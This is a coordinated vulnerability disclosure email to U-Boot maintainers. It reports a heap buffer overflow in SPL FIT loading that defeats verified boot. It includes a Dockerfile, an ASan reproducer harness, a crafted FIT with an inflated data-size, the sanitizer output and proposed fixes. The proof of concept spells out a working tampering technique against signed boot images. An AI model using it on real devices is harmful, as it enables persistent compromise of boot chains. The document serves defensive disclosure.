Hello U-Boot maintainers,

I'd like to report a High-severity security issue in  U-Boot 
(https://github.com/u-boot/u-boot / 
https://git.u-boot-project.org/u-boot/u-boot) related to possible buffer 
overflow in U-Boot's SPL.

I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it, 
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.

Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from 
using agents to study security of open source projects, and I am from Ada 
Logics helping validate the found issues and creating the report manually and 
notify the maintainers.

Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to 
coordinate on the exact timing and to provide any further detail you need.

Kind regards,
Arthur Chan


ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04

ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git gcc libc6-dev libasan8 \
        device-tree-compiler libfdt-dev \
        && rm -rf /var/lib/apt/lists/*

ARG PIN=ece349ade2973e220f524ce59e59711cc919263f

# --- clone + pin the real u-boot checkout ---
RUN mkdir -p /src /poc && git clone https://github.com/u-boot/u-boot /src/u-boot
RUN git -C /src/u-boot fetch --depth 1 origin ${PIN} && \
        git -C /src/u-boot checkout FETCH_HEAD && \
        HEAD=$(git -C /src/u-boot rev-parse HEAD) && \
        echo "u-boot HEAD = $HEAD" && \
        [ "$HEAD" = "${PIN}" ] || { echo "HEAD != PIN"; exit 1; } && \
        echo "$HEAD" > /poc/PIN

COPY driver.c /poc/

# --- the honest FIT: data-size 0x8000 (<= 0x10000 overlay buffer) ---
RUN cat > /poc/fit_ok.dts <<'EOF'
/dts-v1/;

/ {
        description = "minimal FIT, honest data-size";
        #address-cells = <1>;

        images {
                fdt-1 {
                        description = "device tree blob";
                        type = "flat_dt";
                        arch = "arm";
                        compression = "none";
                        /* external data: data lives after the FIT structure */
                        data-offset = <0x0>;
                        /* honest data-size, <= 0x10000 overlay buffer */
                        data-size = <0x8000>;
                };
        };
};
EOF

# --- the malicious FIT: inflated data-size 0x20000 (>> 0x10000 buffer) ---
RUN cat > /poc/fit_bad.dts <<'EOF'
/dts-v1/;

/ {
        description = "minimal FIT, inflated data-size";
        #address-cells = <1>;

        images {
                fdt-1 {
                        description = "device tree blob";
                        type = "flat_dt";
                        arch = "arm";
                        compression = "none";
                        /* external data: data lives after the FIT structure */
                        data-offset = <0x0>;
                        /* inflated data-size, far larger than the 0x10000 
buffer;
                         * excluded from the configuration signature 
(exc_prop[]) */
                        data-size = <0x20000>;
                };
        };
};
EOF

# --- extract verbatim line ranges from the pinned source, build the ASan 
harness ---
RUN set -eux; \
        SRC=/src/u-boot; OUT=/poc; \
        awk 'NR>=178 && NR<=194' "$SRC/common/spl/spl_fit.c" > 
"$OUT/helpers.inc"; \
        awk 'NR>=284 && NR<=313' "$SRC/common/spl/spl_fit.c" > 
"$OUT/read_block.inc"; \
        awk 'NR>=1011 && NR<=1022' "$SRC/boot/image-fit.c"   > 
"$OUT/get_data_size.inc"; \
        echo "----- helpers.inc -----";       cat "$OUT/helpers.inc"; \
        echo "----- read_block.inc -----";    cat "$OUT/read_block.inc"; \
        echo "----- get_data_size.inc -----"; cat "$OUT/get_data_size.inc"; \
        dtc -I dts -O dtb -o "$OUT/fit_ok.dtb"  "$OUT/fit_ok.dts"; \
        dtc -I dts -O dtb -o "$OUT/fit_bad.dtb" "$OUT/fit_bad.dts"; \
        gcc -O1 -g -fsanitize=address -fno-omit-frame-pointer \
                -I"$OUT" "$OUT/driver.c" -o "$OUT/poc" -lfdt; \
        echo "build ok"

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1

WORKDIR /poc
CMD echo "##### pin #####" && cat /poc/PIN && echo "" && \
        echo "##### NEGATIVE CONTROL (data-size 0x8000 <= 0x10000) #####" && \
        ./poc fit_ok.dtb legit && echo "" && \
        echo "##### POSITIVE (data-size 0x20000 >> 0x10000) #####" && \
        ./poc fit_bad.dtb attack
/*
 * Focused ASan harness for the SPL FIT external-data read.
 *
 * WHAT IS REAL (executed):
 *   - get_aligned_image_offset/overhead/size            (spl_fit.c:178-194, verbatim)
 *   - the external-data read+copy sequence               (spl_fit.c:284-313, verbatim)
 *   - fit_image_get_data_size                            (image-fit.c:1011-1022, verbatim)
 *   - fdt_getprop / fdt32_to_cpu                          (real libfdt)
 *   - the fixed 0x10000 destination buffer, allocated with malloc so that
 *     ASan tracks its bounds, mirroring spl_fit_append_fdt()'s
 *     malloc_cache_aligned(CONFIG_SPL_LOAD_FIT_APPLY_OVERLAY_BUF_SZ) which is
 *     handed to load_simple_fit() as image_info.load_addr.
 *
 * WHAT IS MODELLED (scaffolding, clearly non-vulnerable):
 *   - info->read is a shim standing in for a boot-storage driver read (mmc,
 *     spi, ...). A real driver copies the requested `count` bytes into the
 *     destination buffer that spl_fit.c supplied. The shim does exactly that
 *     with memcpy. The vulnerability lives entirely in spl_fit.c: it derives
 *     `count` (`size`) from the attacker-controlled FIT "data-size" property
 *     and passes it, together with a fixed-capacity destination, to
 *     info->read with no check that the data fits. The shim is faithful to
 *     what any driver would do.
 *   - map_sysmem is identity (sandbox behaviour).
 *   - log/debug macros are no-ops; spl_decompression_enabled() is false.
 *
 * WHAT IS CITED, NOT EXECUTED (see report):
 *   - that "data-size"/"data-offset"/"data-position" are EXCLUDED from the
 *     configuration signature (image-fit-sig.c exc_prop[]), so an attacker
 *     with boot-storage write access can inflate data-size on a validly
 *     signed FIT without breaking the signature.
 *   - that fit_image_verify_with_data() runs only AFTER this read
 *     (spl_fit.c:325-332), so the overflow happens before any hash check.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <libfdt.h>

typedef unsigned long ulong;
typedef unsigned char u8;

#ifndef ARCH_DMA_MINALIGN
#define ARCH_DMA_MINALIGN 64
#endif
#define CONFIG_SYS_LOAD_ADDR 0

/* Real u-boot property name (include/image.h:1086), used verbatim below. */
#define FIT_DATA_SIZE_PROP	"data-size"

/* Standard u-boot alignment helpers (linux/kernel.h). */
#define ALIGN(x, a)      (((x) + ((typeof(x))(a) - 1)) & ~((typeof(x))(a) - 1))
#define ALIGN_DOWN(x, a) ((x) & ~((typeof(x))(a) - 1))

/* IH_COMP_* values referenced by the (never-taken) decompression branch. */
#define IH_COMP_GZIP 1
#define IH_COMP_LZMA 3

/* No-op logging so the verbatim snippets compile unchanged. */
#define log_debug(...)   do {} while (0)
#define log_warning(...) do {} while (0)
#define debug(...)       do {} while (0)
#define puts(s)          fputs((s), stdout)
static const char *fit_get_name(const void *fit, int node, int *len)
{ (void)fit; (void)node; (void)len; return "img"; }

/* Minimal, faithful copy of the parts of struct spl_load_info the extracted
 * code touches (include/spl.h). */
struct spl_load_info;
typedef ulong (*spl_load_reader)(struct spl_load_info *load, ulong sector,
				 ulong count, void *buf);
struct spl_load_info {
	spl_load_reader read;
	void *priv;
	unsigned short bl_len;
};
static inline int spl_get_bl_len(struct spl_load_info *info)
{
	return info->bl_len;
}

static int spl_decompression_enabled(void) { return 0; }

/* Sandbox identity mapping. */
static void *map_sysmem(ulong addr, ulong len) { (void)len; return (void *)addr; }

/* ==== VERBATIM from common/spl/spl_fit.c:178-194 (pinned commit) ==== */
#include "helpers.inc"
/* ==== end verbatim ==== */

/* ==== VERBATIM from boot/image-fit.c:1011-1022 (pinned commit) ==== */
#include "get_data_size.inc"
/* ==== end verbatim ==== */

/*
 * do_external_read(): wraps the verbatim external-data read+copy sequence from
 * load_simple_fit(). The variable declarations below match the ones in scope at
 * that point in the real function (offset/len/length/size/load_addr/src/
 * overhead/image_comp, plus read_offset/src_ptr from the external_data block).
 */
static int do_external_read(struct spl_load_info *info, ulong fit_offset,
			    const void *fit, int node, ulong load_addr,
			    int offset, void **out_src)
{
	int len;
	size_t length;
	ulong size;
	ulong overhead;
	ulong read_offset;
	void *src_ptr;
	void *src;
	uint8_t image_comp = -1;

	/* ==== VERBATIM from common/spl/spl_fit.c:284-313 (pinned commit) ==== */
#include "read_block.inc"
	/* ==== end verbatim ==== */

	*out_src = src;
	return 0;
}

/* ----------------------------- scaffolding ----------------------------- */

#define OVERLAY_BUF_SZ 0x10000UL	/* CONFIG_SPL_LOAD_FIT_APPLY_OVERLAY_BUF_SZ default (boot/Kconfig:282) */

struct backing {
	const uint8_t *data;	/* attacker-controlled boot-storage content */
	size_t data_len;
	size_t dst_cap;		/* capacity of the destination handed in by spl_fit.c */
};

/*
 * storage_read(): models a boot-storage driver read. Copies `count` bytes into
 * the destination buffer chosen by spl_fit.c. `count` is spl_fit.c's `size`,
 * derived from the attacker-controlled FIT data-size. spl_fit.c performed no
 * capacity check, so this faithful driver read overruns the fixed buffer.
 */
static ulong storage_read(struct spl_load_info *load, ulong sector,
			  ulong count, void *buf)
{
	struct backing *b = load->priv;

	(void)sector;
	fprintf(stdout,
		"  info->read(count=0x%lx) copying into 0x%lx-byte destination buffer\n",
		count, (ulong)b->dst_cap);
	fflush(stdout);
	if (count > b->data_len)
		count = b->data_len;		/* never under-read the source */
	memcpy(buf, b->data, count);		/* <-- the real unbounded sink */
	return count;
}

static uint8_t *slurp(const char *path, size_t *out_len)
{
	FILE *f = fopen(path, "rb");
	if (!f) { perror("fopen"); exit(2); }
	fseek(f, 0, SEEK_END);
	long n = ftell(f);
	fseek(f, 0, SEEK_SET);
	uint8_t *buf = malloc(n);
	if (fread(buf, 1, n, f) != (size_t)n) { perror("fread"); exit(2); }
	fclose(f);
	*out_len = n;
	return buf;
}

int main(int argc, char **argv)
{
	if (argc < 3) {
		fprintf(stderr, "usage: %s <fit.dtb> <label>\n", argv[0]);
		return 2;
	}
	const char *fit_path = argv[1];
	const char *label = argv[2];

	size_t fit_len;
	uint8_t *fit = slurp(fit_path, &fit_len);
	if (fdt_check_header(fit)) {
		fprintf(stderr, "not an FDT/FIT blob\n");
		return 2;
	}

	int images = fdt_path_offset(fit, "/images");
	int node = fdt_subnode_offset(fit, images, "fdt-1");
	if (node < 0) { fprintf(stderr, "no /images/fdt-1 node\n"); return 2; }

	/* Read the advertised data-size the way spl_fit.c will, for reporting. */
	int adv = 0;
	fit_image_get_data_size(fit, node, &adv);

	printf("== %s: FIT advertises data-size = 0x%x, destination buffer = 0x%lx ==\n",
	       label, adv, OVERLAY_BUF_SZ);

	/*
	 * Mirror spl_fit_append_fdt(): malloc_cache_aligned(0x10000) handed to
	 * load_simple_fit() as image_info.load_addr. Use malloc so ASan tracks it.
	 */
	void *overlay_buf = malloc(OVERLAY_BUF_SZ);
	if (!overlay_buf) { perror("malloc"); return 2; }

	/* Attacker-controlled boot-storage content, comfortably larger than the
	 * destination so the ONLY out-of-bounds access is the destination write. */
	size_t src_len = (size_t)adv + 0x1000;
	uint8_t *attacker = malloc(src_len);
	memset(attacker, 0x41, src_len);

	struct backing b = { .data = attacker, .data_len = src_len,
			     .dst_cap = OVERLAY_BUF_SZ };
	struct spl_load_info info = { .read = storage_read, .priv = &b,
				      .bl_len = 1 };

	void *src = NULL;
	int ret = do_external_read(&info, 0 /*fit_offset*/, fit, node,
				   (ulong)overlay_buf, 0 /*offset*/, &src);

	printf("  do_external_read returned %d (no capacity check was performed)\n", ret);
	printf("  survived: destination not overrun\n");
	fflush(stdout);

	free(attacker);
	free(overlay_buf);
	free(fit);
	return 0;
}
# A signed FIT with an inflated external data-size overflows SPL's fixed 64KB overlay buffer before any signature is checked, defeating verified boot

U-Boot's SPL loads FIT external image data into a destination buffer before verifying it, and the size of that data is taken from FIT properties that the configuration signature deliberately excludes. In `load_simple_fit()` the external `data-size` is read into `len`, a destination pointer is mapped at the caller's load address, an aligned byte count is derived from that size, and `info->read()` copies that many bytes into the destination, all of this happening before `fit_image_verify_with_data()` is ever called. When the caller is `spl_fit_append_fdt()`, the destination is a fixed `CONFIG_SPL_LOAD_FIT_APPLY_OVERLAY_BUF_SZ` heap buffer (default 0x10000 = 64KB) with no capacity check. Because `data`, `data-size`, `data-position` and `data-offset` are listed in the `exc_prop[]` exclusion array passed to `fdt_find_regions()`, an attacker who can write the boot medium of a verified-boot device can inflate `data-size` on an otherwise validly signed FIT without invalidating the configuration signature, and the enlarged storage read overruns the 64KB buffer during SPL, before and regardless of the hash check that would later reject the tampered image. This was confirmed with an AddressSanitizer reproducer that drives the verbatim external-data read sequence into a real 64KB heap allocation and observes a 0x20000-byte heap-buffer-overflow write. Exploitation requires write access to the boot storage of a device using SPL FIT verified boot with overlay support.

## Root cause

In `load_simple_fit()`, for an image with external data the attacker-controlled `data-size` property is read straight into `len`, the destination is mapped at the caller-supplied `load_addr`, the aligned byte count `size` is computed from that same `len`, and `info->read()` copies `size` bytes into `src_ptr`. There is no check that `len`/`size` fits the destination.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/common/spl/spl_fit.c#L284-L313

```c
		if (fit_image_get_data_size(fit, node, &len))
			return -ENOENT;
		......
		else
			src_ptr = map_sysmem(ALIGN(load_addr, ARCH_DMA_MINALIGN), len);
		length = len;

		overhead = get_aligned_image_overhead(info, offset);
		size = get_aligned_image_size(info, length, offset);
		......
		if (info->read(info, read_offset, size, src_ptr) < length)
			return -EIO;
```

The signature check happens only afterwards, so the copy above has already completed by the time the data could be rejected.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/common/spl/spl_fit.c#L325-L332

```c
	if (CONFIG_IS_ENABLED(FIT_SIGNATURE)) {
		printf("## Checking hash(es) for Image %s ... ",
		       fit_get_name(fit, node, NULL));
		if (!fit_image_verify_with_data(fit, node, gd_fdt_blob(), src,
						length))
			return -EPERM;
		puts("OK\n");
	}
```

The size that governs the copy is never covered by the configuration signature. `fit_config_check_sig()` builds the list of regions to hash while excluding a fixed set of properties, and that set contains `data-size`, `data-position` and `data-offset`.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-fit-sig.c#L440-L445

```c
	static char * const exc_prop[] = {
		FIT_DATA_PROP,
		FIT_DATA_SIZE_PROP,
		FIT_DATA_POSITION_PROP,
		FIT_DATA_OFFSET_PROP,
	};
```

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/image-fit-sig.c#L491-L494

```c
	count = fdt_find_regions(fit, node_inc, count,
				 exc_prop, ARRAY_SIZE(exc_prop),
				 fdt_regions, max_regions - 1,
				 path, sizeof(path), 0);
```

The destination that makes this a bounded, deterministic overflow is set up by `spl_fit_append_fdt()`, which allocates a single fixed-size buffer for device-tree overlays and hands its address to `load_simple_fit()` as `image_info.load_addr`.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/common/spl/spl_fit.c#L466-L482

```c
			if (!tmpbuffer) {
				......
				size_t size = CONFIG_SPL_LOAD_FIT_APPLY_OVERLAY_BUF_SZ;

				tmpbuffer = malloc_cache_aligned(size);
				......
			}
			image_info.load_addr = (ulong)tmpbuffer;
			ret = load_simple_fit(info, offset, ctx, node,
					      &image_info);
```

That buffer defaults to 0x10000 bytes.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/boot/Kconfig#L280-L283

```
config SPL_LOAD_FIT_APPLY_OVERLAY_BUF_SZ
	depends on SPL_LOAD_FIT_APPLY_OVERLAY
	default 0x10000
	hex "size of temporary buffer used to load the overlays within SPL"
```

An overlay node whose `data-size` exceeds 0x10000 therefore causes `info->read()` to write past the end of a 64KB heap allocation, and the configuration signature still verifies because the size field was never hashed.

## Proof of Concept

The two facts that make this a verified-boot bypass are established by source citation, not execution: that `data-size`/`data-offset`/`data-position` are excluded from the configuration signature (the `exc_prop[]` array above) and that `fit_image_verify_with_data()` runs only after the storage read (the ordering above). The reproducer executes the remaining, load-bearing claim, that the storage read copies an attacker-sized amount into a fixed 64KB buffer with no capacity check. It extracts verbatim at build time, from the pinned checkout, the three `get_aligned_image_*` helpers (`common/spl/spl_fit.c:178-194`), the external-data read and copy sequence (`common/spl/spl_fit.c:284-313`) and `fit_image_get_data_size()` (`boot/image-fit.c:1011-1022`), and drives them against real `libfdt`. The FIT is a real FDT blob built with `dtc` whose `/images/fdt-1` node advertises `data-size`; the destination is a real `malloc(0x10000)` mirroring `spl_fit_append_fdt()`'s `malloc_cache_aligned(CONFIG_SPL_LOAD_FIT_APPLY_OVERLAY_BUF_SZ)`; and `info->read()` is a shim standing in for the boot-storage driver, which faithfully copies the `size` bytes that the real `load_simple_fit()` code requests. The build asserts the checked-out HEAD equals the pin. The positive case advertises `data-size = 0x20000`, the negative case `0x8000`.

```
docker build -t poc-fit . && docker run --rm poc-fit
```

### Result

```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f

##### NEGATIVE CONTROL (data-size 0x8000 <= 0x10000) #####
== legit: FIT advertises data-size = 0x8000, destination buffer = 0x10000 ==
  info->read(count=0x8000) copying into 0x10000-byte destination buffer
  do_external_read returned 0 (no capacity check was performed)
  survived: destination not overrun

##### POSITIVE (data-size 0x20000 >> 0x10000) #####
== attack: FIT advertises data-size = 0x20000, destination buffer = 0x10000 ==
  info->read(count=0x20000) copying into 0x10000-byte destination buffer
=================================================================
==9==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x531000010800 at pc 0x7f80df7da303 bp 0x7ffe946a77e0 sp 0x7ffe946a6f88
WRITE of size 131072 at 0x531000010800 thread T0
    #0 0x7f80df7da302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x55b8a2ac1657 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
    #2 0x55b8a2ac1657 in storage_read /poc/driver.c:151
    #3 0x55b8a2ac1bda in do_external_read /poc/read_block.inc:25
    #4 0x55b8a2ac1bda in main /poc/driver.c:215
    #5 0x7f80df4ec1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7f80df4ec28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x55b8a2ac14a4 in _start (/poc/poc+0x24a4) (BuildId: 6ed35bf13bdeb96f08ceb1069ff56f3ec683e00e)

0x531000010800 is located 0 bytes after 65536-byte region [0x531000000800,0x531000010800)
allocated by thread T0 here:
    #0 0x7f80df7dc9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x55b8a2ac1992 in main /poc/driver.c:200
    #2 0x7f80df4ec1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #3 0x7f80df4ec28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x55b8a2ac14a4 in _start (/poc/poc+0x24a4) (BuildId: 6ed35bf13bdeb96f08ceb1069ff56f3ec683e00e)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy
==9==ABORTING
```

The negative control reads 0x8000 bytes and completes cleanly, confirming the honest path is not falsely flagged. The positive case reads 0x20000 bytes into the 65536-byte allocation and ASan reports a heap-buffer-overflow write of 131072 bytes ending "0 bytes after" the 64KB region, with the faulting frame reached through the verbatim `info->read()` call in `read_block.inc` (line 25 of the extracted `spl_fit.c:284-313` range) from `do_external_read`. The overrun is 0x10000 bytes of attacker-controlled content past the end of the overlay buffer. Preconditions for a real device: SPL FIT verified boot with `SPL_LOAD_FIT_APPLY_OVERLAY` enabled, and the ability to write the boot medium (for example SPI/eMMC/SD) so as to raise `data-size` on the signed FIT; the configuration signature is not disturbed because that property is excluded from the signed regions. What the reproducer does not model is the specific memory adjacent to the overlay buffer on any given board, so the downstream consequence ranges from a corrupted SPL heap to control-flow hijack depending on layout; the primitive itself, an unbounded attacker-sized write past a fixed heap buffer executed before verification, is demonstrated.

## Mitigation

Bound the external-data read by the capacity of the destination before calling `info->read()`: in `load_simple_fit()` reject any image whose `data-size` exceeds the space available at `load_addr`, and have `spl_fit_append_fdt()` pass that capacity (`CONFIG_SPL_LOAD_FIT_APPLY_OVERLAY_BUF_SZ`) down so the check can be enforced for the overlay buffer. Additionally, remove `FIT_DATA_SIZE_PROP`, `FIT_DATA_POSITION_PROP` and `FIT_DATA_OFFSET_PROP` from `exc_prop[]` in `fit_config_check_sig()` (or otherwise bind the external-data location and length into the configuration signature), and verify the image hash before copying rather than after, so that a tampered `data-size` both fails signature verification and cannot drive an out-of-bounds copy in the first place.

## Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.

Reply via email to